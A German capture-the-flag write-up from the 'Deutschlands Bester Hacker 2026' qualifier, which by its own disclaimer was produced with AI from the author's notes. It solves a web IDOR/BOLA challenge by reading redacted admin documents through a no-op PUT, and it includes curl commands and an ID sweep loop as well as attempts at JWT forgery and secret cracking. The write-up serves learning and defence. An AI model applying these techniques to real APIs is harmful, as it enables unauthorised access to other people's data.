Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | Web |
| Punkte | 86 |
| Angriffsklasse | IDORInsecure Direct Object ReferenceZugriffskontrollfehler, bei dem Objektkennungen unbefugten Zugriff ermöglichen. / BOLABroken Object Level AuthorizationFehlende Prüfung, ob der Aufrufer auf das konkret angeforderte Objekt zugreifen darf. (Broken Object Level AuthorizationAuthorizationEntscheidung, welche Aktionen eine authentifizierte Identität ausführen darf.) |
| Ziel | Geschwärzte Akten von author_id 7 lesen |
Die Challenge
Eine Dokumenten-API mit JWTJSON Web TokenKompaktes, signierbares Token zur Übertragung von Identitäts- und Berechtigungsinformationen.-Login und Rollentrennung. Nach der Registrierung (testitest →
id 11, role: user) fällt sofort ein IDOR auf: GET /documents/{id} liefert mit dem
eigenen Token beliebige fremde Akten. Aber alle Dokumente mit author_id: 7 kommen
geschwärzt:
{"author_id":7,"content":"REDACTED","id":3,"title":"REDACTED"}
Der Schlüsselmoment steckt schon in der Aufgabenstellung:
ob „meine Akte“ für diese API einfach bedeutet „eine Akte, die ich gerade behaupte zu besitzen“.
Aufklärung
/api/v1 listet register · login · GET/POST/PUT documents. Das Token ist HS256, PayloadPayloadTeil eines Angriffs oder Exploits, der die beabsichtigte schädliche Wirkung ausführt.
{ id, role:"user" }.
Erkenntnis: alle Akten von author_id 7 sind geschwärzt, nicht nur eine. User 7 ist der
„Admin“, und seine Akten tragen die Flag.
Sackgassen
Drei naheliegende Wege führten ins Leere — der verlockendste am ausdauerndsten.
1. Mass-AssignmentMass AssignmentUngefilterte Übernahme von Anfragefeldern in ein Objekt, wodurch geschützte Attribute setzbar werden. beim Register. register mit zusätzlichem "role":"admin" im Body —
vom Server ignoriert, das Token blieb role: user.
2. Read-Path-ObfuskationObfuscationErschwert die Analyse von Code, Daten oder Kommunikation durch absichtliche Verkomplizierung.. Varianten auf Doc 3: 03, 0003, 3.json, 3/, ?raw=1,
?admin=1, Trailing-Space. Die Schwärzung hängt sauber an author_id == 7 — kein
String-Trick führte daran vorbei.
3. JWT forgen und Secret cracken. Ein Token mit id:7 und ungültiger Signatur ergab
{"error":"invalid token"}, alg:none ebenso. Die Signatur wird also geprüft. Der
Offline-Crack des HS256-Secrets — 53 Standard-Secrets, dann die volle 10.000-Wort-Wordlist
inklusive CR-Varianten — blieb erfolglos.
Sobald das Cracken erfolglos blieb, war klar: die Lücke ist nicht die Krypto, sondern die Autorisierung.
Die Schwachstelle
Zurück zum Aufgabentext: „behaupte zu besitzen“ zeigt auf den Write-Pfad.
Test an einer eigenen Wegwerf-Akte (id 517): ein PUT mit nur {"author_id":7} macht ein
partielles Update (der Content bleibt erhalten) — und die PUT-Antwort liefert den Inhalt
im Klartext zurück, während der GET danach schwärzt. Der Edit-Endpoint spiegelt das
Rohobjekt ungefiltert.
# Test am eigenen Doc 517
PUT /documents/517 {"author_id":7}
→ {"id":517,"title":"probe","content":"probe123","author_id":7} # Klartext!
GET /documents/517
→ {"author_id":7,"content":"REDACTED","id":517,"title":"REDACTED"} # GET schwärzt
Die Schwärzung sitzt also nur im GET-Serializer, nicht im Datenmodell.
Der Angriff
Der finale Move ist ein No-op-PUT: author_id:7 ist bei Doc 3 der bestehende Wert,
ändert also nichts — aber die Antwort ist ungeschwärzt.
# nichts wird verändert — die Response leakt den Klartext
curl -X PUT '<URL>/documents/3' -d '{"author_id":7}'
→ {"id":3,"title":"Project Proposal: Green Initiative","content":"…"}
# dann Sweep über alle author_id:7-IDs → Flag
for id in 3 14 23 30 36 45 54 62 72 82 92 102 ; do
curl -X PUT "<URL>/documents/$id" -d '{"author_id":7}'
done | grep -iE 'flag|dbh|ctf'
Die Flag
Der Sweep über die Akten von author_id 7 liefert die Flag im Format DBH{...} im
Klartext-Content einer der Akten.
Was ich mitnehme
Drei Signale zusammen ergaben den richtigen Pfad: der Nudge zurück in den Beschreibungstext
(„behaupte zu besitzen“ zeigt auf Ownership beim Schreiben, nicht auf Identitäts-Forgery);
die Beobachtung, dass POST beim Anlegen das Objekt bereits im Klartext zurückgab; und die
Erfahrung, dass fehlende Ownership-Prüfungen selten in nur einem Endpoint sitzen.
- Fehlende Autorisierung ist selten auf einen Endpoint beschränkt. Wenn
GETkeine Ownership prüft, prüfPUT,POSTundDELETEgleich mit. Der Write-Pfad war hier die weichere Stelle. - Masking wird gern nur an einer Schicht angeflanscht. Schwärzung im Read-Serializer heißt nicht, dass Create- und Edit-Antworten sie auch anwenden. Rohobjekte lecken oft am Rand — in Fehlermeldungen, Response-Echos, Logs.
- Der verlockendste Angriff ist oft die Sackgasse. JWT-Cracking fühlte sich „richtig“ an und fraß Zeit. Bei Stillstand: zurück zum Briefing, nicht tiefer ins Rabbit Hole.
Dieselbe „prüf-vs-ausführ“-Denke trug übrigens auch bei der AI-Challenge Helpdesk-Agent.